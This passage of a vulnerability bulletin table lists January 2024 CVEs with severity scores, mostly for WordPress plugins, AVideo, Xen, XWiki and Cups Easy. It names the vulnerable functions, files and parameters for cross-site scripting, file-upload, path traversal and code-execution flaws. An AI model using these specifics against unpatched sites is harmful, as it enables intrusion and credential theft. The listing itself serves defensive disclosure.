Primary Vendor -- Product	Description	Published	CVSS Score	Source & Patch Info
wordpress -- wordpress	The WP Register Profile With Shortcode plugin for WordPress is vulnerable to Cross-Site Request Forgery in versions up to, and including, 3.5.9. This is due to missing or incorrect nonce validation on the update_password_validate function. This makes it possible for unauthenticated attackers to reset a user's password via a forged request granted they can trick the user into performing an action such as clicking on a link.	2024-01-11	8.8	CVE-2023-5448
wordpress -- wordpress	The BackWPup plugin for WordPress is vulnerable to Directory Traversal in versions up to, and including, 4.0.1 via the Log File Folder. This allows authenticated attackers to store backups in arbitrary folders on the server provided they can be written to by the server. Additionally, default settings will place an index.php and a .htaccess file into the chosen directory (unless already present) when the first backup job is run that are intended to prevent directory listing and file access. This means that an attacker could set the backup directory to the root of another site in a shared environment and thus disable that site.	2024-01-11	8.7	CVE-2023-5504
wordpress -- wordpress	The Essential Real Estate WordPress plugin before 4.4.0 does not prevent users with limited privileges on the site, like subscribers, from momentarily uploading malicious PHP files disguised as ZIP archives, which may lead to remote code execution.	2024-01-08	8.8	CVE-2023-6140
wordpress -- wordpress	The Piotnet Forms plugin for WordPress is vulnerable to arbitrary file uploads due to insufficient file type validation in the 'piotnetforms_ajax_form_builder' function in versions up to, and including, 1.0.26. This makes it possible for unauthenticated attackers to upload arbitrary files on the affected site's server which may make remote code execution possible.	2024-01-11	8.1	CVE-2023-6220
wordpress -- wordpress	The LearnPress plugin for WordPress is vulnerable to Command Injection in all versions up to, and including, 4.2.5.7 via the get_content function. This is due to the plugin making use of the call_user_func function with user input. This makes it possible for unauthenticated attackers to execute any public function with one parameter, which could result in remote code execution.	2024-01-11	8.1	CVE-2023-6634
wordpress -- wordpress	The CommentTweets WordPress plugin through 0.6 does not have CSRF checks in some places, which could allow attackers to make logged in users perform unwanted actions via CSRF attacks	2024-01-08	8.8	CVE-2023-6845
wordpress -- wordpress	The Slick Social Share Buttons plugin for WordPress is vulnerable to unauthorized modification of data due to a missing capability check on the 'dcssb_ajax_update' function in versions up to, and including, 2.4.11. This makes it possible for authenticated attackers, with subscriber-level permissions or above to update the site options arbitrarily.	2024-01-11	8.8	CVE-2023-6878
wordpress -- wordpress	Exposure of Sensitive Information to an Unauthorized Actor vulnerability in StudioWombat WP Optin Wheel - Gamified Optin Email Marketing Tool for WordPress and WooCommerce.This issue affects WP Optin Wheel - Gamified Optin Email Marketing Tool for WordPress and WooCommerce: from n/a through 1.4.3.	2024-01-08	7.5	CVE-2023-51408
wordpress -- wordpress	Exposure of Sensitive Information to an Unauthorized Actor vulnerability in Naa986 WP Stripe Checkout.This issue affects WP Stripe Checkout: from n/a through 1.2.2.37.	2024-01-05	7.5	CVE-2023-52143
wordpress -- wordpress	Exposure of Sensitive Information to an Unauthorized Actor vulnerability in WP Swings Coupon Referral Program.This issue affects Coupon Referral Program: from n/a through 1.7.2.	2024-01-08	7.5	CVE-2023-52190
wordpress -- wordpress	The Ni Purchase Order(PO) For WooCommerce WordPress plugin through 1.2.1 does not validate logo and signature image files uploaded in the settings, allowing high privileged user to upload arbitrary files to the web server, triggering an RCE vulnerability by uploading a web shell.	2024-01-08	7.2	CVE-2023-5957
wordpress -- wordpress	The Debug Log Manager WordPress plugin before 2.3.0 contains a Directory listing vulnerability was discovered, which allows you to download the debug log without authorization and gain access to sensitive data	2024-01-08	7.5	CVE-2023-6383
wordpress -- wordpress	The Migrate WordPress Website & Backups WordPress plugin before 1.9.3 does not prevent directory listing in sensitive directories containing export files.	2024-01-08	7.5	CVE-2023-6505
wordpress -- wordpress	The Export and Import Users and Customers plugin for WordPress is vulnerable to arbitrary file uploads due to insufficient file type validation on the 'upload_import_file' function in versions up to, and including, 2.4.8. This makes it possible for authenticated attackers with shop manager-level capabilities or above, to upload arbitrary files on the affected site's server which may make remote code execution possible.	2024-01-11	7.2	CVE-2023-6558
wordpress -- wordpress	The Greenshift - animation and page builder blocks plugin for WordPress is vulnerable to arbitrary file uploads due to missing file type validation on the 'gspb_save_files' function in versions up to, and including, 7.6.2. This makes it possible for authenticated attackers with administrator-level capabilities or above,	2024-01-11	7.2	CVE-2023-6636

High Vulnerabilities

Primary Vendor -- Product	Description	Published	CVSS Score	Source & Patch Info
	to upload arbitrary files on the affected site's server which may make remote code execution possible.			
wordpress -- wordpress	The Hostinger plugin for WordPress is vulnerable to unauthorized plugin settings update due to a missing capability check on the function publish_website in all versions up to, and including, 1.9.7. This makes it possible for unauthenticated attackers to enable and disable maintenance mode.	2024-01-11	7.3	CVE-2023-6751
wordpress -- wordpress	The Contact Form, Survey & Popup Form Plugin for WordPress - ARForms Form Builder plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the 'arf_http_referrer_url' parameter in all versions up to, and including, 1.5.8 due to insufficient input sanitization and output escaping. This makes it possible for unauthenticated attackers to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.	2024-01-11	7.2	CVE-2023-6828
wordpress -- wordpress	The Customer Reviews for WooCommerce plugin for WordPress is vulnerable to arbitrary file uploads due to missing file type validation in the ivole_import_upload_csv AJAX action in all versions up to, and including, 5.38.9. This makes it possible for authenticated attackers, with author-level access and above, to upload arbitrary files on the affected site's server which may make remote code execution possible.	2024-01-11	9.8	CVE-2023-6979
wordpress -- wordpress	The Backup Migration plugin for WordPress is vulnerable to unauthorized access of data due to insufficient path and file validation on the BMI_BACKUP case of the handle_downloading function in all versions up to, and including, 1.3.6. This makes it possible for unauthenticated attackers to download back-up files which can contain sensitive information such as user passwords, PII, database credentials, and much more.	2024-01-11	7.5	CVE-2023-6266
wow-company -- floating_button	Cross-Site Request Forgery (CSRF) vulnerability in Wow-Company Floating Button.This issue affects Floating Button: from n/a through 6.0.	2024-01-05	8.8	CVE-2023-52149
wp-blogs-planetarium_project -- wp-blogs-planetarium	The WP Blogs' Planetarium WordPress plugin through 1.0 does not have CSRF check in place when updating its settings, which could allow attackers to make a logged in admin change them via a CSRF attack	2024-01-08	8.8	CVE-2023-6532
wpaffiliatemanager -- affiliates_manager	Cross-Site Request Forgery (CSRF) vulnerability in wp.Insider, wpaffiliatemgr Affiliates Manager.This issue affects Affiliates Manager: from n/a through 2.9.31.	2024-01-05	8.8	CVE-2023-52130
wpchill -- download_monitor	Exposure of Sensitive Information to an Unauthorized Actor vulnerability in WPChill Download Monitor.This issue affects Download Monitor: from n/a through 4.7.60.	2024-01-08	7.5	CVE-2022-45354
wpexpertsio -- post_smtp_â€“_the_#1_wordpress_smtp_plugin_with_advanced_email_logging_and_delivery_failure_notifications	The POST SMTP Mailer - Email log, Delivery Failure Notifications and Best Mail SMTP for WordPress plugin for WordPress is vulnerable to unauthorized access of data and modification of data due to a type juggling issue on the connect-app REST endpoint in all versions up to, and including, 2.8.7. This makes it possible for unauthenticated attackers to reset the API key used to authenticate to the mailer and view logs, including password reset emails, allowing site takeover.	2024-01-11	9.8	CVE-2023-6875
wpjobportal -- wp_job_portal	Cross-Site Request Forgery (CSRF) vulnerability in WP Job Portal WP Job Portal - A Complete Job Board.This issue affects WP Job Portal - A Complete Job Board: from n/a through 2.0.6.	2024-01-05	8.8	CVE-2023-52184
wpmudev -- defender_security	Exposure of Sensitive Information to an Unauthorized Actor vulnerability in WPMU DEV Defender Security - Malware Scanner, Login Security & Firewall.This issue affects Defender Security - Malware Scanner, Login Security & Firewall: from n/a through 4.1.0.	2024-01-08	7.5	CVE-2023-51490
wpzone -- inline_image_upload_for_bbpress	Cross-Site Request Forgery (CSRF) vulnerability in WP Zone Inline Image Upload for BBPress.This issue affects Inline Image Upload for BBPress: from n/a through 1.1.18.	2024-01-05	8.8	CVE-2023-51668
wwbn -- avideo	A cross-site scripting (xss) vulnerability exists in the navbarMenuAndLogo.php user name functionality of WWBN AVideo dev master commit 15fed957fb. A specially crafted HTTP request can lead to arbitrary Javascript execution. An attacker can get a user to visit a webpage to trigger this vulnerability.	2024-01-10	8.5	CVE-2023-48730
wwbn -- avideo	An insufficient entropy vulnerability exists in the userRecoverPass.php recoverPass generation functionality of WWBN AVideo dev master commit 15fed957fb. A specially crafted HTTP request can lead to an arbitrary user password recovery. An attacker can send an HTTP request to trigger this vulnerability.	2024-01-10	8.8	CVE-2023-49589
wwbn -- avideo	A cross-site scripting (xss) vulnerability exists in the channelBody.php user name functionality of WWBN AVideo 11.6 and dev master commit 15fed957fb. A	2024-01-10	9	CVE-2023-47861

High Vulnerabilities

Primary Vendor -- Product	Description	Published	CVSS Score	Source & Patch Info
	specially crafted HTTP request can lead to arbitrary Javascript execution. An attacker can get a user to visit a webpage to trigger this vulnerability.			
wwbn -- avideo	A local file inclusion vulnerability exists in the getLanguageFromBrowser functionality of WWBN AVideo dev master commit 15fed957fb. A specially crafted HTTP request can lead to arbitrary code execution. An attacker can send a series of HTTP requests to trigger this vulnerability.	2024-01-10	9.8	CVE-2023-47862
wwbn -- avideo	A cross-site scripting (xss) vulnerability exists in the functiongetOpenGraph videoName functionality of WWBN AVideo 11.6 and dev master commit 3c6bb3ff. A specially crafted HTTP request can lead to arbitrary Javascript execution. An attacker can get a user to visit a webpage to trigger this vulnerability.	2024-01-10	9.6	CVE-2023-48728
wwbn -- avideo	An insufficient entropy vulnerability exists in the salt generation functionality of WWBN AVideo dev master commit 15fed957fb. A specially crafted series of HTTP requests can lead to privilege escalation. An attacker can gather system information via HTTP requests and brute force the salt offline, leading to forging a legitimate password recovery code for the admin user.	2024-01-10	9.8	CVE-2023-49599
wwbn -- avideo	An information disclosure vulnerability exists in the image404Raw.php functionality of WWBN AVideo dev master commit 15fed957fb. A specially crafted HTTP request can lead to arbitrary file read.	2024-01-10	7.5	CVE-2023-49738
wwbn -- avideo	A login attempt restriction bypass vulnerability exists in the checkLoginAttempts functionality of WWBN AVideo dev master commit 15fed957fb. A specially crafted HTTP request can lead to captcha bypass, which can be abused by an attacker to brute force user credentials. An attacker can send a series of HTTP requests to trigger this vulnerability.	2024-01-10	7.3	CVE-2023-49810
xen -- xen	For migration as well as to work around kernels unaware of L1TF (see XSA-273), PV guests may be run in shadow paging mode. Since Xen itself needs to be mapped when PV guests run, Xen and shadowed PV guests run directly the respective shadow page tables. For 64-bit PV guests this means running on the shadow of the guest root page table. In the course of dealing with shortage of memory in the shadow pool associated with a domain, shadows of page tables may be torn down. This tearing down may include the shadow root page table that the CPU in question is presently running on. While a precaution exists to supposedly prevent the tearing down of the underlying live page table, the time window covered by that precaution isn't large enough.	2024-01-05	7.8	CVE-2023-34322 security@xen.org
xen -- xen	[This CNA information record relates to multiple CVEs; the text explains which aspects/vulnerabilities correspond to which CVE.] libfsimage contains parsing code for several filesystems, most of them based on grub-legacy code. libfsimage is used by pygrub to inspect guest disks. Pygrub runs as the same user as the toolstack (root in a priviledged domain). At least one issue has been reported to the Xen Security Team that allows an attacker to trigger a stack buffer overflow in libfsimage. After further analisys the Xen Security Team is no longer confident in the suitability of libfsimage when run against guest controlled input with super user priviledges. In order to not affect current deployments that rely on pygrub patches are provided in the resolution section of the advisory that allow running pygrub in deprivileged mode. CVE-2023-4949 refers to the original issue in the upstream grub project ("An attacker with local access to a system (either through a disk or external drive) can present a modified XFS partition to grub-legacy in such a way to exploit a memory corruption in grub's XFS file system implementation.") CVE-2023-34325 refers specifically to the vulnerabilities in Xen's copy of libfsimage, which is decended from a very old version of grub.	2024-01-05	7.8	CVE-2023-34325 security@xen.org
xen -- xen	The caching invalidation guidelines from the AMD-Vi specification (48882-Rev 3.07-PUB-Oct 2022) is incorrect on some hardware, as devices will malfunction (see stale DMA mappings) if some fields of the DTE are updated but the IOMMU TLB is not flushed. Such stale DMA mappings can point to memory ranges not owned by the guest, thus allowing access to unindented memory regions.	2024-01-05	7.8	CVE-2023-34326 security@xen.org
xwiki -- xwiki	XWiki Platform is a generic wiki platform offering runtime services for applications built on top of it. XWiki is vulnerable to a remote code execution (RCE) attack through its user registration feature. This issue allows an attacker to execute arbitrary code by crafting malicious payloads in the "first name" or "last name" fields during user registration. This impacts all installations that have user registration enabled for guests. This vulnerability has been patched in XWiki 14.10.17, 15.5.3 and 15.8 RC1.	2024-01-08	9.8	CVE-2024-21650
xwiki -- xwiki	XWiki Platform is a generic wiki platform offering runtime services for applications built on top of it. The rollback action is missing a right protection, a user can rollback to a previous version of the page to gain rights they don't have anymore.	2024-01-09	8.8	CVE-2024-21648

High Vulnerabilities

Primary Vendor -- Product	Description	Published	CVSS Score	Source & Patch Info
	The problem has been patched in XWiki 14.10.17, 15.5.3 and 15.8-rc-1 by ensuring that the rights are checked before performing the rollback.			
yevhenkotelnytskyi -- js_\&_css_script_optimizer	Cross-Site Request Forgery (CSRF) vulnerability in Yevhen Kotelnytskyi JS & CSS Script Optimizer.This issue affects JS & CSS Script Optimizer: from n/a through 0.3.3.	2024-01-08	8.8	CVE-2023-52216
youke365 -- youke_365	A vulnerability, which was classified as critical, was found in Youke365 up to 1.5.3. Affected is an unknown function of the file /app/api/controller/caiji.php of the component Parameter Handler. The manipulation of the argument url leads to server-side request forgery. It is possible to launch the attack remotely. The exploit has been disclosed to the public and may be used. VDB-249870 is the identifier assigned to this vulnerability.	2024-01-08	9.8	CVE-2024-0303
youke365 -- youke_365	A vulnerability has been found in Youke365 up to 1.5.3 and classified as critical. Affected by this vulnerability is an unknown functionality of the file /app/api/controller/collect.php. The manipulation of the argument url leads to server-side request forgery. The attack can be launched remotely. The exploit has been disclosed to the public and may be used. The associated identifier of this vulnerability is VDB-249871.	2024-01-08	9.8	CVE-2024-0304
zohocorp -- manageengine_firewall_analyzer	A directory traversal vulnerability exists in the uploadMib functionality of ManageEngine OpManager 12.7.258. A specially crafted HTTP request can lead to arbitrary file creation. An attacker can send a malicious MiB file to trigger this vulnerability.	2024-01-08	8.6	CVE-2023-47211
zoom_video_communications_inc. -- zoom_desktop_client_for_windows/zoom_vdi_client_for_windows/zoom_sdks_for_windows	Improper access control in Zoom Desktop Client for Windows, Zoom VDI Client for Windows, and Zoom SDKs for Windows before version 5.16.10 may allow an authenticated user to conduct an escalation of privilege via local access.	2024-01-12	8.8	CVE-2023-49647 security@zoom.us

Medium Vulnerabilities

Primary Vendor -- Product	Description	Published	CVSS Score	Source & Patch Info
BORGChat -- borgchat	A vulnerability, which was classified as problematic, was found in BORGChat 1.0.0 Build 438. This affects an unknown part of the component Service Port 7551. The manipulation leads to denial of service. It is possible to initiate the attack remotely. The exploit has been disclosed to the public and may be used. The associated identifier of this vulnerability is VDB-252039.	2024-01-25	5.3	CVE-2024-0888
actidata -- actinas_sl_2u-8_rdx_firmware	Multiple reflected cross-site scripting (XSS) vulnerabilities in nasSvr.php in actidata actiNAS-SL-2U-8 3.2.03-SP1 allow remote attackers to inject arbitrary web script or HTML.	2024-01-19	6.1	CVE-2023-51946
ajaysharma -- cups_easy	A vulnerability has been reported in Cups Easy (Purchase & Inventory), version 1.0, whereby user-controlled inputs are not sufficiently encoded, resulting in a Cross-Site Scripting (XSS) vulnerability via /cupseasylive/taxcodemodify.php, in multiple parameters. Exploitation of this vulnerability could allow a remote attacker to send a specially crafted URL to an authenticated user and steal their session cookie credentials.	2024-01-25	6.1	CVE-2024-23855
ajaysharma -- cups_easy	A vulnerability has been reported in Cups Easy (Purchase & Inventory), version 1.0, whereby user-controlled inputs are not sufficiently encoded, resulting in a Cross-Site Scripting (XSS) vulnerability via /cupseasylive/itemlist.php, in the description parameter. Exploitation of this vulnerability could allow a remote	2024-01-26	6.1	CVE-2024-23856

Medium Vulnerabilities

Primary Vendor -- Product	Description	Published	CVSS Score	Source & Patch Info
	attacker to send a specially crafted URL to an authenticated user and steal their session cookie credentials.			
ajaysharma -- cups_easy	A vulnerability has been reported in Cups Easy (Purchase & Inventory), version 1.0, whereby user-controlled inputs are not sufficiently encoded, resulting in a Cross-Site Scripting (XSS) vulnerability via /cupseasylive/grnlinecreate.php, in the batchno parameter. Exploitation of this vulnerability could allow a remote attacker to send a specially crafted URL to an authenticated user and steal their session cookie credentials.	2024-01-26	6.1	CVE-2024-23857
ajaysharma -- cups_easy	A vulnerability has been reported in Cups Easy (Purchase & Inventory), version 1.0, whereby user-controlled inputs are not sufficiently encoded, resulting in a Cross-Site Scripting (XSS) vulnerability via /cupseasylive/stockissuancelinecreate.php, in the batchno parameter. Exploitation of this vulnerability could allow a remote attacker to send a specially crafted URL to an authenticated user and steal their session cookie credentials.	2024-01-26	6.1	CVE-2024-23858
ajaysharma -- cups_easy	A vulnerability has been reported in Cups Easy (Purchase & Inventory), version 1.0, whereby user-controlled inputs are not sufficiently encoded, resulting in a Cross-Site Scripting (XSS) vulnerability via /cupseasylive/taxstructurelinecreate.php, in the flatamount parameter. Exploitation of this vulnerability could allow a remote attacker to send a specially crafted URL to an authenticated user and steal their session cookie credentials.	2024-01-26	6.1	CVE-2024-23859
ajaysharma -- cups_easy	A vulnerability has been reported in Cups Easy (Purchase & Inventory), version 1.0, whereby user-controlled inputs are not sufficiently encoded, resulting in a Cross-Site Scripting (XSS) vulnerability via /cupseasylive/currencylist.php, in the description parameter. Exploitation of this vulnerability could allow a remote attacker to send a specially crafted URL to an authenticated user and steal their session cookie credentials.	2024-01-26	6.1	CVE-2024-23860
ajaysharma -- cups_easy	A vulnerability has been reported in Cups Easy (Purchase & Inventory), version 1.0, whereby user-controlled inputs are not sufficiently encoded, resulting in a Cross-Site Scripting (XSS) vulnerability via /cupseasylive/unitofmeasurementcreate.php, in the unitofmeasurementid parameter. Exploitation of this vulnerability could allow a remote attacker to send a specially crafted URL to an authenticated user and steal their session cookie credentials.	2024-01-26	6.1	CVE-2024-23861
ajaysharma -- cups_easy	A vulnerability has been reported in Cups Easy (Purchase & Inventory), version 1.0, whereby user-controlled inputs are not sufficiently encoded, resulting in a Cross-Site Scripting (XSS) vulnerability via /cupseasylive/grndisplay.php, in the grnno parameter. Exploitation of this vulnerability could allow a remote attacker to send a specially crafted URL to an authenticated user and steal their session cookie credentials.	2024-01-26	6.1	CVE-2024-23862
ajaysharma -- cups_easy	A vulnerability has been reported in Cups Easy (Purchase & Inventory), version 1.0, whereby user-controlled inputs are not sufficiently encoded, resulting in a Cross-Site Scripting (XSS) vulnerability via /cupseasylive/taxstructuredisplay.php, in the description parameter. Exploitation of this vulnerability could allow a remote attacker to send a specially crafted URL to an authenticated user and steal their session cookie credentials.	2024-01-26	6.1	CVE-2024-23863
ajaysharma -- cups_easy	A vulnerability has been reported in Cups Easy (Purchase & Inventory), version 1.0, whereby user-controlled inputs are not sufficiently encoded, resulting in a Cross-Site Scripting (XSS) vulnerability via /cupseasylive/countrylist.php, in the description parameter. Exploitation of this vulnerability could allow a remote attacker to send a specially crafted URL to an authenticated user and steal their session cookie credentials.	2024-01-26	6.1	CVE-2024-23864
ajaysharma -- cups_easy	A vulnerability has been reported in Cups Easy (Purchase & Inventory), version 1.0, whereby user-controlled inputs are not sufficiently encoded, resulting in a Cross-Site Scripting (XSS) vulnerability via /cupseasylive/taxstructurelist.php, in the	2024-01-26	6.1	CVE-2024-23865

Medium Vulnerabilities

Primary Vendor -- Product	Description	Published	CVSS Score	Source & Patch Info
	description parameter. Exploitation of this vulnerability could allow a remote attacker to send a specially crafted URL to an authenticated user and steal their session cookie credentials.			
ajaysharma -- cups_easy	A vulnerability has been reported in Cups Easy (Purchase & Inventory), version 1.0, whereby user-controlled inputs are not sufficiently encoded, resulting in a Cross-Site Scripting (XSS) vulnerability via /cupseasylive/countrycreate.php, in the countryid parameter. Exploitation of this vulnerability could allow a remote attacker to send a specially crafted URL to an authenticated user and steal their session cookie credentials.	2024-01-26	6.1	CVE-2024-23866
ajaysharma -- cups_easy	A vulnerability has been reported in Cups Easy (Purchase & Inventory), version 1.0, whereby user-controlled inputs are not sufficiently encoded, resulting in a Cross-Site Scripting (XSS) vulnerability via /cupseasylive/statecreate.php, in the stateid parameter. Exploitation of this vulnerability could allow a remote attacker to send a specially crafted URL to an authenticated user and steal their session cookie credentials.	2024-01-26	6.1	CVE-2024-23867
ajaysharma -- cups_easy	A vulnerability has been reported in Cups Easy (Purchase & Inventory), version 1.0, whereby user-controlled inputs are not sufficiently encoded, resulting in a Cross-Site Scripting (XSS) vulnerability via /cupseasylive/grnlist.php, in the deleted parameter. Exploitation of this vulnerability could allow a remote attacker to send a specially crafted URL to an authenticated user and steal their session cookie credentials.	2024-01-26	6.1	CVE-2024-23868
ajaysharma -- cups_easy	A vulnerability has been reported in Cups Easy (Purchase & Inventory), version 1.0, whereby user-controlled inputs are not sufficiently encoded, resulting in a Cross-Site Scripting (XSS) vulnerability via /cupseasylive/stockissuanceprint.php, in the issuanceno parameter. Exploitation of this vulnerability could allow a remote attacker to send a specially crafted URL to an authenticated user and steal their session cookie credentials.	2024-01-26	6.1	CVE-2024-23869
ajaysharma -- cups_easy	A vulnerability has been reported in Cups Easy (Purchase & Inventory), version 1.0, whereby user-controlled inputs are not sufficiently encoded, resulting in a Cross-Site Scripting (XSS) vulnerability via /cupseasylive/stockissuancelist.php, in the delete parameter. Exploitation of this vulnerability could allow a remote attacker to send a specially crafted URL to an authenticated user and steal their session cookie credentials.	2024-01-26	6.1	CVE-2024-23870
ajaysharma -- cups_easy	A vulnerability has been reported in Cups Easy (Purchase & Inventory), version 1.0, whereby user-controlled inputs are not sufficiently encoded, resulting in a Cross-Site Scripting (XSS) vulnerability via /cupseasylive/unitofmeasurementmodify.php, in the description parameter. Exploitation of this vulnerability could allow a remote attacker to send a specially crafted URL to an authenticated user and steal their session cookie credentials.	2024-01-26	6.1	CVE-2024-23871
ajaysharma -- cups_easy	A vulnerability has been reported in Cups Easy (Purchase & Inventory), version 1.0, whereby user-controlled inputs are not sufficiently encoded, resulting in a Cross-Site Scripting (XSS) vulnerability via /cupseasylive/locationmodify.php, in the description parameter. Exploitation of this vulnerability could allow a remote attacker to send a specially crafted URL to an authenticated user and steal their session cookie credentials.	2024-01-26	6.1	CVE-2024-23872
ajaysharma -- cups_easy	A vulnerability has been reported in Cups Easy (Purchase & Inventory), version 1.0, whereby user-controlled inputs are not sufficiently encoded, resulting in a Cross-Site Scripting (XSS) vulnerability via /cupseasylive/currencymodify.php, in the currencyid parameter. Exploitation of this vulnerability could allow a remote attacker to send a specially crafted URL to an authenticated user and steal their session cookie credentials.	2024-01-26	6.1	CVE-2024-23873

Medium Vulnerabilities

Primary Vendor -- Product	Description	Published	CVSS Score	Source & Patch Info
ajaysharma -- cups_easy	A vulnerability has been reported in Cups Easy (Purchase & Inventory), version 1.0, whereby user-controlled inputs are not sufficiently encoded, resulting in a Cross-Site Scripting (XSS) vulnerability via /cupseasylive/companymodify.php, in the address1 parameter. Exploitation of this vulnerability could allow a remote attacker to send a specially crafted URL to an authenticated user and steal their session cookie credentials.	2024-01-26	6.1	CVE-2024-23874
ajaysharma -- cups_easy	A vulnerability has been reported in Cups Easy (Purchase & Inventory), version 1.0, whereby user-controlled inputs are not sufficiently encoded, resulting in a Cross-Site Scripting (XSS) vulnerability via /cupseasylive/stockissuancedisplay.php, in the issuanceno parameter. Exploitation of this vulnerability could allow a remote attacker to send a specially crafted URL to an authenticated user and steal their session cookie credentials.	2024-01-26	6.1	CVE-2024-23875
ajaysharma -- cups_easy	A vulnerability has been reported in Cups Easy (Purchase & Inventory), version 1.0, whereby user-controlled inputs are not sufficiently encoded, resulting in a Cross-Site Scripting (XSS) vulnerability via /cupseasylive/taxstructurecreate.php, in the description parameter. Exploitation of this vulnerability could allow a remote attacker to send a specially crafted URL to an authenticated user and steal their session cookie credentials.	2024-01-26	6.1	CVE-2024-23876
ajaysharma -- cups_easy	A vulnerability has been reported in Cups Easy (Purchase & Inventory), version 1.0, whereby user-controlled inputs are not sufficiently encoded, resulting in a Cross-Site Scripting (XSS) vulnerability via /cupseasylive/currencycreate.php, in the currencyid parameter. Exploitation of this vulnerability could allow a remote attacker to send a specially crafted URL to an authenticated user and steal their session cookie credentials.	2024-01-26	6.1	CVE-2024-23877
ajaysharma -- cups_easy	A vulnerability has been reported in Cups Easy (Purchase & Inventory), version 1.0, whereby user-controlled inputs are not sufficiently encoded, resulting in a Cross-Site Scripting (XSS) vulnerability via /cupseasylive/grnprint.php, in the grnno parameter. Exploitation of this vulnerability could allow a remote attacker to send a specially crafted URL to an authenticated user and steal their session cookie credentials.	2024-01-26	6.1	CVE-2024-23878
ajaysharma -- cups_easy	A vulnerability has been reported in Cups Easy (Purchase & Inventory), version 1.0, whereby user-controlled inputs are not sufficiently encoded, resulting in a Cross-Site Scripting (XSS) vulnerability via /cupseasylive/statemodify.php, in the description parameter. Exploitation of this vulnerability could allow a remote attacker to send a specially crafted URL to an authenticated user and steal their session cookie credentials.	2024-01-26	6.1	CVE-2024-23879
ajaysharma -- cups_easy	A vulnerability has been reported in Cups Easy (Purchase & Inventory), version 1.0, whereby user-controlled inputs are not sufficiently encoded, resulting in a Cross-Site Scripting (XSS) vulnerability via /cupseasylive/taxcodelist.php, in the description parameter. Exploitation of this vulnerability could allow a remote attacker to send a specially crafted URL to an authenticated user and steal their session cookie credentials.	2024-01-26	6.1	CVE-2024-23880
ajaysharma -- cups_easy	A vulnerability has been reported in Cups Easy (Purchase & Inventory), version 1.0, whereby user-controlled inputs are not sufficiently encoded, resulting in a Cross-Site Scripting (XSS) vulnerability via /cupseasylive/statelist.php, in the description parameter. Exploitation of this vulnerability could allow a remote attacker to send a specially crafted URL to an authenticated user and steal their session cookie credentials.	2024-01-26	6.1	CVE-2024-23881
ajaysharma -- cups_easy	A vulnerability has been reported in Cups Easy (Purchase & Inventory), version 1.0, whereby user-controlled inputs are not sufficiently encoded, resulting in a Cross-Site Scripting (XSS) vulnerability via /cupseasylive/taxcodecreate.php, in the taxcodeid parameter. Exploitation of this vulnerability could allow a remote	2024-01-26	6.1	CVE-2024-23882

Medium Vulnerabilities

Primary Vendor -- Product	Description	Published	CVSS Score	Source & Patch Info
	attacker to send a specially crafted URL to an authenticated user and steal their session cookie credentials.			
ajaysharma -- cups_easy	A vulnerability has been reported in Cups Easy (Purchase & Inventory), version 1.0, whereby user-controlled inputs are not sufficiently encoded, resulting in a Cross-Site Scripting (XSS) vulnerability via /cupseasylive/taxstructuremodify.php, in the description parameter. Exploitation of this vulnerability could allow a remote attacker to send a specially crafted URL to an authenticated user and steal their session cookie credentials.	2024-01-26	6.1	CVE-2024-23883
ajaysharma -- cups_easy	A vulnerability has been reported in Cups Easy (Purchase & Inventory), version 1.0, whereby user-controlled inputs are not sufficiently encoded, resulting in a Cross-Site Scripting (XSS) vulnerability via /cupseasylive/grnmodify.php, in the grndate parameter. Exploitation of this vulnerability could allow a remote attacker to send a specially crafted URL to an authenticated user and steal their session cookie credentials.	2024-01-26	6.1	CVE-2024-23884
ajaysharma -- cups_easy	A vulnerability has been reported in Cups Easy (Purchase & Inventory), version 1.0, whereby user-controlled inputs are not sufficiently encoded, resulting in a Cross-Site Scripting (XSS) vulnerability via /cupseasylive/countrymodify.php, in the countryid parameter. Exploitation of this vulnerability could allow a remote attacker to send a specially crafted URL to an authenticated user and steal their session cookie credentials.	2024-01-26	6.1	CVE-2024-23885
ajaysharma -- cups_easy	A vulnerability has been reported in Cups Easy (Purchase & Inventory), version 1.0, whereby user-controlled inputs are not sufficiently encoded, resulting in a Cross-Site Scripting (XSS) vulnerability via /cupseasylive/itemmodify.php, in the bincardinfo parameter. Exploitation of this vulnerability could allow a remote attacker to send a specially crafted URL to an authenticated user and steal their session cookie credentials.	2024-01-26	6.1	CVE-2024-23886
ajaysharma -- cups_easy	A vulnerability has been reported in Cups Easy (Purchase & Inventory), version 1.0, whereby user-controlled inputs are not sufficiently encoded, resulting in a Cross-Site Scripting (XSS) vulnerability via /cupseasylive/grncreate.php, in the grndate parameter. Exploitation of this vulnerability could allow a remote attacker to send a specially crafted URL to an authenticated user and steal their session cookie credentials.	2024-01-26	6.1	CVE-2024-23887
ajaysharma -- cups_easy	A vulnerability has been reported in Cups Easy (Purchase & Inventory), version 1.0, whereby user-controlled inputs are not sufficiently encoded, resulting in a Cross-Site Scripting (XSS) vulnerability via /cupseasylive/stocktransactionslist.php, in the itemidy parameter. Exploitation of this vulnerability could allow a remote attacker to send a specially crafted URL to an authenticated user and steal their session cookie credentials.	2024-01-26	6.1	CVE-2024-23888
ajaysharma -- cups_easy	A vulnerability has been reported in Cups Easy (Purchase & Inventory), version 1.0, whereby user-controlled inputs are not sufficiently encoded, resulting in a Cross-Site Scripting (XSS) vulnerability via /cupseasylive/itemgroupcreate.php, in the itemgroupid parameter. Exploitation of this vulnerability could allow a remote attacker to send a specially crafted URL to an authenticated user and steal their session cookie credentials.	2024-01-26	6.1	CVE-2024-23889
ajaysharma -- cups_easy	A vulnerability has been reported in Cups Easy (Purchase & Inventory), version 1.0, whereby user-controlled inputs are not sufficiently encoded, resulting in a Cross-Site Scripting (XSS) vulnerability via /cupseasylive/itempopup.php, in the description parameter. Exploitation of this vulnerability could allow a remote attacker to send a specially crafted URL to an authenticated user and steal their session cookie credentials.	2024-01-26	6.1	CVE-2024-23890
ajaysharma -- cups_easy	A vulnerability has been reported in Cups Easy (Purchase & Inventory), version 1.0, whereby user-controlled inputs are not sufficiently encoded, resulting in a Cross-Site Scripting (XSS) vulnerability via /cupseasylive/itemcreate.php, in the itemid	2024-01-26	6.1	CVE-2024-23891

Medium Vulnerabilities

Primary Vendor -- Product	Description	Published	CVSS Score	Source & Patch Info
	parameter. Exploitation of this vulnerability could allow a remote attacker to send a specially crafted URL to an authenticated user and steal their session cookie credentials.			
